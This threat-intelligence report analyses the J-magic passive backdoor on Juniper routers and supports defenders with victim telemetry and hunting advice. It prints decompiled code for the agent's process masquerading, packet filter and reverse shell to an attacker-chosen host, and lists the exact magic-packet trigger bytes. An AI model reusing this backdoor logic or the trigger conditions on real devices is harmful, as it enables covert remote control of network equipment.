The J-Magic Show: Magic Packets and Where to find them

⋮ 1/23/2025

Black Lotus Labs Posted On January 23, 2025

0

42.0K Views

Executive Summary

The Black Lotus Labs team at Lumen Technologies has been tracking the use of a backdoor attack tailored for use against enterprise-grade Juniper routers. This backdoor is opened by a passive agent that continuously monitors for a “magic packet,” sent by the attacker in TCP traffic. We have dubbed this campaign J-magic, it is a recent operation with the earliest sample uploaded to VirusTotal in September 2023. At present, we are unable to determine the initial access method, however once in place it installs the agent – a variant of cd00r – which passively scans for five different predefined parameters before activating. If any of these parameters or “magic packets” are received, the agent sends back a secondary challenge. Once that challenge is complete, J-magic establishes a reverse shell on the local file system, allowing the operators to control the device, steal data, or deploy malicious software.

We believe enterprise grade routers present an attractive target as they do not normally have many, if any, host-based monitoring tools in place. Typically, these devices are rarely power-cycled; malware tailored for routers is designed to take advantage of long uptime and live exclusively in-memory, allowing for low-detection and long-term access compared to malware that burrows into the firmware. Routers on the edge of the corporate network or serving as the VPN gateway, as many did in this campaign, are the richest targets. This placement represents a crossroads, opening avenues to the rest of a corporate network. Our telemetry indicates the J-magic campaign was active from mid-2023 until at least mid-2024; in that time, we observed targets in the semiconductor, energy, manufacturing, and IT verticals among others.

Elements of this activity cluster share some technical indicators with a subset of prior reporting on a malware family named SeaSpy2, however we do not have enough data points to link these two campaigns with high confidence. SeaSpy was a backdoor that targeted another FreeBSD-based system, the Barracuda mail server, with a variant of cd00r. While some cd00r functions share the same non-standard names, this latest sample contains an embedded certificate that presents a “challenge” which was not present in previous examples found in VirusTotal, indicating an evolution in operational security and tradecraft. Though there have been numerous public reports of advanced actors targeting networking equipment, Black Lotus Labs tracks the J-magic campaign as unaffiliated with other more prominent clusters recently appearing in the public eye.

Technical Details

Introduction

Black Lotus Labs has routinely published research on router-orientated malware, the majority of which has focused on devices in the consumer or small office/home office (SOHO) space. There are scattered reports of malware designed for enterprise grade routers (such as Jaguar Tooth and more recently Canary/BlackTech’s unnamed router malware), and the vast majority of attacks have come against Cisco IOS systems given their share in the market. The J-magic campaign marks the rare occasion of malware designed specifically for JunoOS, which serves a similar market but relies on a different operating system, a variant of FreeBSD.

Our telemetry indicates that roughly 50% of the targeted devices appear to be configured as a virtual private network (VPN) gateway for their organizations. In these instances, a victim device could be used for remote access to the Juniper router/VPN gateway and exploited for credentials or to serve as an access vector into the organization.

Once established on a device, the actor appears to favor the use of open-source malware. Our malware sample appears to fit that trend as a custom variant of cd00r. An open-source project originally released on Packet Storm in 2000, cd00r was designed to explore the idea of an “invisible” backdoor, or one that presents a number of detection challenges for systems admins and network engineers. Upon installation, it performed the following actions

1. The agent was executed via a command line argument, specifying an interface, and listening port.
2. The agent started a pcap listener through an eBPF extension on that interface.

3. If a magic packet is detected, it spawned a reverse shell to the IP address and port specified by the magic packet.
4. The reverse shell then issues a “challenge” by sending a string encrypted via hard-coded certificate. If the remote user passes that string back, it would be given a command shell, if the string was not received it would close the remote connection.

While this is not the first discovery of magic packet malware, there have only been a handful of campaigns in recent years. The combination of targeting Junos OS routers that serve as a VPN gateway and deploying a passive listening in-memory only agent, makes this an interesting confluence of tradecraft worthy of further observation.

Malware Analysis – J-magic

Our investigation into this campaign began with the discovery of an interesting malware sample uploaded to VirusTotal. The file had a name of “JunoscriptService” which mimics the Junos automation scripting service. Given that we identified the sample on a public repository, we do not have insight into the initial access vector. Once the file is uploaded on to the infected router, it expects an interface and port to be provided from the command line when executed. If these are supplied, the malware will rename itself as “**[nfsiod 0]**” to masquerade as the local NFS asynchronous I/O server, then hide its tracks by overwriting the previous command line arguments. Once it renamed its process, it calls the function **start_pcap_listener()**.

```
00400ec0  int64_t main(int32_t argc, int64_t* argv)

00400ec1      int64_t __saved_rbp
00400ec1      int64_t* rbp = &__saved_rbp
00400ed3      int64_t r12
00400ed3
00400ed3      if (argc s> 2)
00400ef0          p_param = *argv
00400f02          p_param2 = (argv[1]).b
00400f16          void* lenInterface = strlen(argv[1])
00400f31          memcpy(&CDR_INTERFACE, argv[1], lenInterface)
00400f44          uint32_t port = atoi(argv[2])
00400f44
00400f59          if (port s> 0 && port s<= 0xffff)
00400f72              cport = port
00400f87              init_len = strlen(*argv)
00400f87
00400f99              if (sx.q(init_len) u<= 0xa)
00400fd5                  int32_t i = 0
00400ff4                  j_memset(*argv, 0, sx.q(init_len))
00400ff4
00401025                  for (; i s< init_len; i += 1)
00401016                      *(*argv + sx.q(i)) = (*"[nfsiod 0] ")[sx.q(i)]
00400f99              else
00400fb3                  j_memset(*argv, 0, sx.q(init_len))
00400fbf                  __builtin_strcpy(dest: *argv, src: "[nfsiod 0] ")
00400fbf
00401035              void* rax_40 = strlen(argv[1])
00401050              j_memset(argv[1], 0, rax_40)
00401063              void* rax_47 = strlen(argv[2])
0040107e              j_memset(argv[2], 0, rax_47)
0040108d              start_pcap_listener()
0040108d              noreturn
0040108d
00400f60          _IO_puts("Port value out of range.", rbp, r12)
00400ed3      else
00400eda          _IO_puts("usage: ./JunoscriptService <Netw…", rbp, r12)
00401098      return 0
```

Figure 1: Main function

The **start_pcap_listener** function creates an eBPF filter on the supplied interface and port, then enters a loop to process any packets hit by the filter.

```
void start_pcap_listener() __noreturn
00401366    if (cport == 0)
00401430        _IO_fwrite("NO port code\n", 1, 0xd, _IO_stderr, rbx, rbp_1, r12, r13)
0040143a        exit(0)
0040143a        noreturn
0040143a
00401380    void cportCopy
00401380    void* rcx_1
00401380    void* r8
00401380    void* r9
00401380    char r10
00401380    char r11
00401380    rcx_1, r8, r9, r10, r11 = j_memset(&cportCopy, 0, 6)
0040139f    _IO_sprintf(&cportCopy, "%d", zx.q(cport), rcx_1, r8, r9, 0, rbx.b, rbp_1, r10, r11, r12.b)
004013ba    void* portString = smalloc(strlen(&cportCopy) + 6)
004013c7    __builtin_strcpy(dest: portString, src: "port ")
004013e4    strcat(portString, &cportCopy)
00401406    uint32_t maskp
00401406    void netp
00401406    void errno
00401406    int32_t rax_5
00401406    int64_t rcx_3
00401406    rax_5, rcx_3 = pcap_lookupnet(device: &CDR_INTERFACE, &netp, &maskp, &errno)
00401406
0040140d    if (rax_5 != 0)
00401443        if (var_c != 0)
00401460            _IO_fprintf(_IO_stderr, "pcap_lookupnet: %s\n", &errno, rcx_3, 0, rbx, rbp_1)
00401460
0040146a        exit(0)
0040146a        noreturn
0040146a
0040148d    void* pcap_t = pcap_open_live(&CDR_INTERFACE, 98, 0, 0, &errno)
0040148d
0040149b    if (pcap_t == 0)
004014a2        exit(0)
004014a2        noreturn
004014a2
004014ce    void eBPF
004014ce
004014ce    if (pcap_compile(pcap_t, &eBPF, portString, 0, maskp) != 0)
004014d4        if (var_c != 0)
004014e2            capterror(pcap_t)
004014e2            noreturn
004014e2
004014ec        exit(0)
004014ec        noreturn
004014ec
00401509    if (pcap_setfilter(pcap_t, &eBPF, &eBPF) != 0)
0040150f        if (var_c != 0)
0040151d            capterror(pcap_t)
0040151d            noreturn
```

Figure 2: Setting up the eBPF filter

The loop first checks if the packet is from the infected machine by comparing the host IP and the remote IP, if they are the same the packet is ignored. If the packet comes from a remote IP, then various fields/offsets are checked for magic bytes. There are five checks for various fields in the packet and if any of these checks are passed, a function called **reverse_shell** is called with IP and port to open a reverse shell to the specific tuple in the magic packet. The first predefined conditions are found below:

```
4015ab    int64_t hostIp = 0
4015c5    int32_t hostFlag = get_host_ip(&CDR_INTERFACE, &hostIp)
4015c5
4015f7    while (true)
4015f7        struct ether_header* pkt_data = pcap_next(var_28, var_28)
4015f7
401600        if (pkt_data != 0 && var_28->len u> 0x22)
40161e            struct ip_hdr* ipHeader = &pkt_data[1]
40161e
40162e            if ((ipHeader->ip_verlen & 0xf0) == 0x40)
40164e                struct packetStruct* tcpPacket = &pkt_data->ether_dhost[sx.q(zx.d(ipHeader->ip_verlen & 0xf) << 2) + 0xe]
40164e
40166f                if (htons(zx.w(tcpPacket->flags u>> 1 & 1)) != 0 && htons(zx.w(tcpPacket->flags u>> 4 & 1)) == 0)
40169a                    if (hostFlag != 0 && zx.q(htonl(ipHeader->ip_srcaddr)) == hostIp)
4016b6                        continue
4016b6
4016d7                    if (sx.q(zx.d(tcpPacket->doRsv u>> 4) << 2) - 0x14 u> 3)
4016dd                        int16_t var_1da_1 = 0
4016dd
401727                        if (htons((&tcpPacket->data - 0x14)->data:2.w) == 1366)
401736                            int64_t var_58_1 = 0
40175b                            reverse_shell(ip_address: inet_ntoa(tcpPacket->sequenceNumber), port: 443)
401760                            continue
401760
401780                    if (sx.q(zx.d(tcpPacket->doRsv u>> 4) << 2) - 0x14 u> 0xf)
401786                        int16_t var_1ea_1 = 0
40178f                        int32_t var_1f0_1 = 0
4017c3                        int16_t var10 = htons((&tcpPacket->data - 0x14)->field_1c)
4017c3
4017da                        if (var10 == 0xe68c)
4017f8                            int64_t var_68_1 = 0
40181d                            reverse_shell(ip_address: inet_ntoa((&tcpPacket->data - 0x14)->field_1e), port: 443)
401822                            continue
4017da                        else if (var10 == 0xe68e)
401854                            int64_t var_70_1 = 0
40186d                            int16_t var_72_1 = 0
401873                            int16_t var_20a_1 = 0
4018b3                            reverse_shell(ip_address: inet_ntoa((&tcpPacket->data - 0x14)->field_1e), port: htons((&tcpPacke
4018b8                            continue
4018b8
4018cf                    uint32_t totalLen = zx.d(htons(ipHeader->ip_totallength))
4018cf
401909                    if (((0 - zx.d(tcpPacket->doRsv u>> 4)) << 2) + totalLen + ((0 - zx.d(ipHeader->ip_verlen & 0xf)) << 2)
401a67                        if (htons(tcpPacket->sourcePort) == 36429)
401a7a                            int64_t var_88_1 = 0
401a9f                            reverse_shell(ip_address: inet_ntoa(tcpPacket->sequenceNumber), port: 443)
401909                    else
40190f                        char Z4ve
40190f                        __builtin_strncpy(dest: &Z4ve, src: "Z4vE", n: 5)
401932                        int32_t bytesFromPacket = 0
40193c                        char var_224_1 = 0
401971                        memcpy(&bytesFromPacket, sx.q(zx.d(tcpPacket->doRsv u>> 4) << 2) + tcpPacket, 4)
401971
401991                        if (j_strcmp(&bytesFromPacket, &Z4ve, &Z4ve) == 0)
401997                            int32_t var_22c_1 = 0
4019a1                            int16_t var_22e_1 = 0
4019aa                            int16_t var_74_1 = 0
4019ce                            int32_t ip_address = *(&tcpPacket->sequenceNumber + sx.q(zx.d(tcpPacket->doRsv u>> 4) << 2))
401a16                            int16_t port = htons(*(&tcpPacket->ackNumber + sx.q(zx.d(tcpPacket->doRsv u>> 4) << 2)))
401a1f                            int64_t var_80_1 = 0
401a48                            reverse_shell(ip_address: inet_ntoa(ip_address), port)
```

Figure 3: Checking for Magic Packet

Magic Packet Conditions

The passive agent is embedded in a position to observe all TCP traffic inbound to the device, discreetly filtering for a specific set of information, or “conditions,” inserted by the attacker.

Condition 1:

- at offset 0x02 from the start of the TCP options shows the following two-byte sequence: “1366”
- the TCP options must be at least 4-bytes in size
- the attacker IP address will be in the “Sequence Number” field of the TCP header
- the destination port number equals 443

Condition 2:

- the source port of the TCP header must contain the following two-byte sequence “36429”
- the attacker IP address will be in the Sequence Number field of the TCP header
- the destination port number equals 443

Condition 3:

- the payload data following the IP and TCP headers starts with the four-byte string: Z4vE
- the attacker IP address will immediately follow the four-byte string: 0x04
- the attacker port number will immediately follow the IP address at offset 0x08

Condition 4:

- at offset 0x08 within the TCP header, the option field starts the following two-byte sequence “59020”
- at offset 0xA within the TCP options starts the attacker IP address
- the destination port number equals 443

Condition 5:

- offset 0x08 within the TCP options starts the following two-byte sequence “59022”
- offset 0xA within the TCP options starts the attacker IP address
- the attacker port number will follow the attacker IP at offset 0x0E from the start of the TCP option

If any of the remote IP addresses match on one of the five predefined conditions above, it moves to spawn a reverse shell. The **reverse_shell** function forks, creating a child process and renames it to **[nfsiod 1]**. Next it enters a loop that will connect back to the IP and port retrieved from the packet filter, using SSL. It creates a random alphanumeric string that is five characters long. This random string is encrypted using a hardcoded public RSA key.

It sends the encrypted five-character string as a **challenge** to the supplied IP/port combo. The response from the IP is compared to the previously created random string. If they are not equal, the connection is closed. If the strings are equal, then a shell is created with the command prompt “**>>**” until it receives the **exit** command. This would allow them to run arbitrary commands on the impacted device.

We suspect that the developer has added this RSA challenge to prevent other threat actors from spraying the internet with magic packets to enumerate victims and then simply repurposing the J-Magic agents for their own purposes, as other nation-state actors are known for exhibiting that parasitic tradecraft such as Turla.

```
00400a81        void* randomString = generate_random_string()
00400a8a        char const* const publicKey = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhk
00400a92        void* rsa = nullptr
00400aa9        int64_t* bio = BIO_new_mem_buf(publicKey, 0xffffffff)
00400aca        PEM_read_bio_RSA_PUBKEY(bio, &rsa, 0, nullptr)
00400ad6        BIO_free(bio)
00400af5        // int RSA_public_encrypt(int flen, unsigned char *from,
00400af5        //    unsigned char *to, RSA *rsa, int padding);
00400af5        void* rsaBits = __libc_malloc(sx.q(RSA_size(rsa)))
00400b24        int32_t sizeOfEncryptedData = RSA_public_encrypt(zx.q(strlen(randomString
00400b24
00400b30        if (sizeOfEncryptedData == 0xffffffff)
00400b3c            RSA_free(rsa)
00400b48            __cfree(rsaBits)
00400b54            ssl_shutdown(ssl)
00400b5e            exit(0)
00400b5e            noreturn
00400b5e
00400b78        SSL_write(ssl->sslFd, "challenge:", 0xa)
00400b92        SSL_write(ssl->sslFd, rsaBits, zx.q(sizeOfEncryptedData))
00400bb1        int32_t bytesRead = SSL_read(ssl: ssl->sslFd, &buffer, len: 0x3fa, &buffe
00400bc3        RSA_free(rsa)
00400bcf        __cfree(rsaBits)
00400bcf
00400bd8        if (bytesRead s<= 0)
00400bdf            exit(0)
00400bdf            noreturn
00400bdf
00400bfc        if (j_strcmp(&buffer, randomString) != 0)
00400bfc            break
00400bfc
00400c29        SSL_write(ssl->sslFd, ">>", 2)
00400c4d        int32_t bytesRead_2 = SSL_read(ssl: ssl->sslFd, &buffer, len: 0x3fa, &buf
00400c4d
00400dc3        while (bytesRead_2 s> 0)
00400c5d            *(&buffer + sx.q(bytesRead_2 - 1)) = 0
00400c5d
00400c7b            if (j_strcmp(&buffer, "exit") == 0)
00400c84                ssl_shutdown(ssl)
00400c8e                exit(0)
00400c8e                noreturn
00400c8e
00400cad            int64_t j = -1
00400cb4            void* bufferCopy = &buffer
00400cb4
00400cb7            while (j != 0)
00400cb7                bool bufferFlag = 0 != *bufferCopy
00400cb7                bufferCopy += 1
00400cb7                j -= 1
00400cb7
00400cb7                if (not(bufferFlag))
00400cb7                    break
00400cb7
```

Figure 4: Reverse shell processing commands

The Intersection of cd00r, SeaSpy, and J-magic

Once established on a device, the actor favors the use of open-source malware, our sample being a custom variant of cd00r. Originally released on Packet Storm in 2000 to explore the idea of an “invisible” backdoor. The project was later improved upon in 2015 then uploaded to Github; this iteration afforded more modularity such as selecting the listening port, adding a port-knock, and updating the shell to a pseudo-terminal. One of the key differences is that neither SeaSpy nor J-magic contain the port-knocking sequence from the Github version.

One other similarity between SeaSpy and J-magic is that they have five magic packet conditions, however those conditions were different across the two samples. We also observed some of the function name overlap between SeaSpy and J-magic such as “reverse_shell” and “>>” denoting a command terminal session; unfortunately, these names were common, so we assigned a low level of correlation based upon the technical overlap. The last difference is that the J-magic sample included a certificate, which was used in the challenge component referenced above; we did not observe that function or any embedded certificates in the sample that was publicly available. So, while we can associate this malware family with high confidence as a variant of cd00r, we have low confidence in the correlation to the SeaSpy family based upon the information that was released publicly.

Global Telemetry

Analysis of the malware and the five conditions to execute J-magic revealed some network-based features, used to create analytics in our netflow-based telemetry. We queried our telemetry for those conditions then enriched the destination IP address with public scan data to ensure it was identified as a Juniper router, based upon available banners. If the destination IP address was not a Juniper router, it was dropped as a likely false positive.

We first deployed this analytic in mid-March 2024 and ran it through September 1, 2024, it fired on less than .01% of analyzed netflow during that time. The yield was an incredibly small dataset of potential true positives corresponding to 36 unique IP addresses representing organizations across the globe.

Potentially impacted IP addresses were grouped into two clusters; the first cluster, which made up the lion’s share, was comprised of impacted IP addresses that have self-signed X.509 certificates – indicating that these devices were acting as a VPN gateway. The remaining cluster was made up of those with an exposed NETCONF port, which is used to help automate the pulling of router configuration information and management. This second set of routers were not associated with consumer environments but rather were managed as part of a larger fleet of routers in the network communications space.

Juniper Routers Acting as VPN Gateways

Once we started to identify Juniper routers that received one of the magic packet conditions, we noticed most of them were associated with customer premise equipment (CPE), which indicated these routers were acting as a VPN gateway for several organizations around the world. We split the VPN gateway victims into two subsets; the first is for organizations that received more than one magic packet and the second, for organizations that only received one packet. Once we had the list of potentially impacted

organizations from their IP address, we enriched them again to see which IP addresses were associated with VPN gateways and computed the number of magic packets the victim IP address received.

2nd Condition Parameters – Victim Organizations / Multiple Magic Packets: VPN gateway

Vertical	Country	First Seen	Last Seen	# Magic Packets
Construction	UK	2024-07-03	2024-08-03	4
Heavy Machinery	NO	2024-05-12	2024-07-29	3
IT	UK	2024-06-09	2024-08-25	3
Electric Panels	NO	2024-06-05	2024-08-23	7
Fiber	RU	2024-05-26	2024-05-27	2
Unknown	UK	2024-06-11	2024-07-27	2
Bioengineering	NO	2024-06-13	2024-07-27	2
Marine Manufacturing	NO	2024-06-16	2024-08-12	2

Two of the more potentially interesting victims include a fiber optics/luminescence firm, and a maker of solar panels. The other two victims appeared to be in the manufacturing vertical, including two who build or lease heavy machinery.

The second table of IP addresses only received a single packet that matched on our signatured conditions; therefore, this table was more prone to false positives:

Victim Organizations / one Magic Packet: VPN gateway

Vertical	Timestamp	CC
Semiconductors	2024-04-01	AM
Insurance	2024-05-02	US
Unknown	2024-05-21	BR
IT Services	2024-06-20	NL
Unknown	2024-06-24	BR
IT Services	2024-07-11	NO
Unknown	2024-08-18	NO
Unknown	2024-08-05	CO
Unknown	2024-08-08	US

While there was some overlap in targeting of the energy sector, we also saw targeting of the technology sector, and one semiconductor manufacturer. There were also victims in the expected verticals such as manufacturing firms, in this case one that makes ferries and boats. One interesting data point is that many of the source IP addresses that sent out magic packets were listed as public VPN and Proxy services. We suspect the attacker chose these public services to better hide in the noise. And though they sent the magic packet from a public proxy, they could redirect the reverse shell to a different IP address where they had more control.

Network Configuration Devices: NETCONF

While the majority of the results were identified as Juniper routers acting as VPN gateways, there was a second set of limited IP addresses that had an exposed NETCONF port, which is used to help automate

router configuration information and management. We have identified some of the routers that had HTML banners displaying a "Phone home" client, which is used to remotely retrieve software or configuration files. These remote management services suggest that the routers are likely managed as part of a larger fleet, such those in a network service provider, rather than used as CPE.

We suspect these devices were targeted for their central role in the routing ecosystem. As routers that are configured with network filters, settings, policies, tracking, and controls, they are valuable as targets for attackers who may want to pivot or persist within an ecosystem. We identified two IP addresses that received multiple packets, while most of them only received one packet. Due to the limited number of results and the potential for false positives, we did not want to assign too much weight to these matches.

Vertical	Country	First Seen	Last Seen	# Magic Packets
Telecommunications	CO	2024-08-01 10:21:49	2024-08-05 13:07:39	2
Unknown	US	2024-05-25 18:58:34	2024-08-07 03:06:01	3

The following table shows IP addresses that received a single packet and were not identified as a VPN gateway:

2nd Condition Parameters – Victim Organizations / single Magic Packet: NETCONF routers		
Vertical	**Timestamp**	**Country**
Telecommunications	2024-03-27 08:05:16	CO
Southeast Asian Govt	2024-03-29 09:01:43	ID
Internet Service Provider	2024-04-23 10:05:13	US
Unknown	2024-05-25 18:58:34	US
Unknown	2024-07-11 14:02:51	CL
Telecommunications	2024-08-02 06:12:30	BR
Unknown	2024-08-22 08:57:27	UK
Telecommunications	2024-08-10 19:40:49	VE
Telecommunications	2024-08-10 11:21:33	PE
Unknown	2024-08-10 07:12:28	CO
IT services	2024-08-02 16:12:06	CO
Unknown	2024-08-02 23:26:33	CO
Unknown	2024-08-05 19:29:23	AR
Telecommunications	2024-08-21 20:01:28	US
Telecommunications	2024-08-09 21:31:23	AR
Unknown	2024-08-08 20:09:06	CO
Unknown	2024-08-08 03:36:12	CL

One interesting correlation was that many of these remotely administered routers were physically located in South America, while most of the VPN gateways were in Europe. This could indicate that the actors are still in more of a planning/reconnaissance phase in South America. Conversely, they have placed a greater emphasis on Internet Service Provider and telecommunications firms in this part of the world.

Dedicated Command and Control Servers

While the magic packets could have been sent from anywhere on the internet, the trigger packet contained a callback IP address. This is where the malware would send the challenge and if passed, spawn a remote shell to interact with the file system. Like in the prior campaign, the actor favors procured VPSs with a self-signed certificate. The certificate fingerprint can be found in the indicators of compromise on our Github page. The fingerprint was observed on the same IP address, 198.46.158[.]172, at the same time from January 3 – April 21, 2024.

Conclusion

One of the most notable aspects of the campaign is the focus on Juniper routers. While we have seen heavy targeting of other networking equipment, this campaign demonstrates that attackers can find success expanding to other device types such as enterprise grade routers. We find it noteworthy that the Magic Packet malware is becoming an increasing trend in use against perimeter devices, first with BPFdoor, and Symbiote. We suspect this will only increase, as greater difficulty in detection creates more trouble for defenders and what reporting exists is solely the result of greater awareness surrounding this technique. While there is some weak association with the actors behind the SeaSpy malware campaign, we do not have any overlap between this campaign and other families mentioned in industry reports, nor with those who have previously used BPF-based backdoors. While several newsworthy groups have lately been shown to be proficient in the use of passive agents and targeting networking equipment; we have not seen any tooling overlap, victimology trends, or operational infrastructure. As we develop additional research, we will keep the community apprised of our findings and weight given to those data points.

For users of enterprise-grade routers seeking to improve detection for this activity, we recommend the following hunt guides focused on BPF based malware: Trusted Sec's blog on memory injection, SandFly Security blog as well as Elastic's blog with OSquery syntax.

We also suggest this detection blog for cd00r, and lastly we recommend:

- Searching your environment for all IoC's provided in this report
- Reviewing network logs for signs of data exfiltration and lateral movement
- Checking for common persistence mechanisms

Analysis of the J-magic campaign was performed by Danny Adamitis and Steve Rudd. Technical editing by Ryan English.

For additional IoCs associated with this campaign, please visit our GitHub page.

If you would like to collaborate on similar research, please contact us on social media @BlackLotusLabs.

This information is provided "as is" without any warranty or condition of any kind, either express or implied. Use of this information is at the end user's own risk.
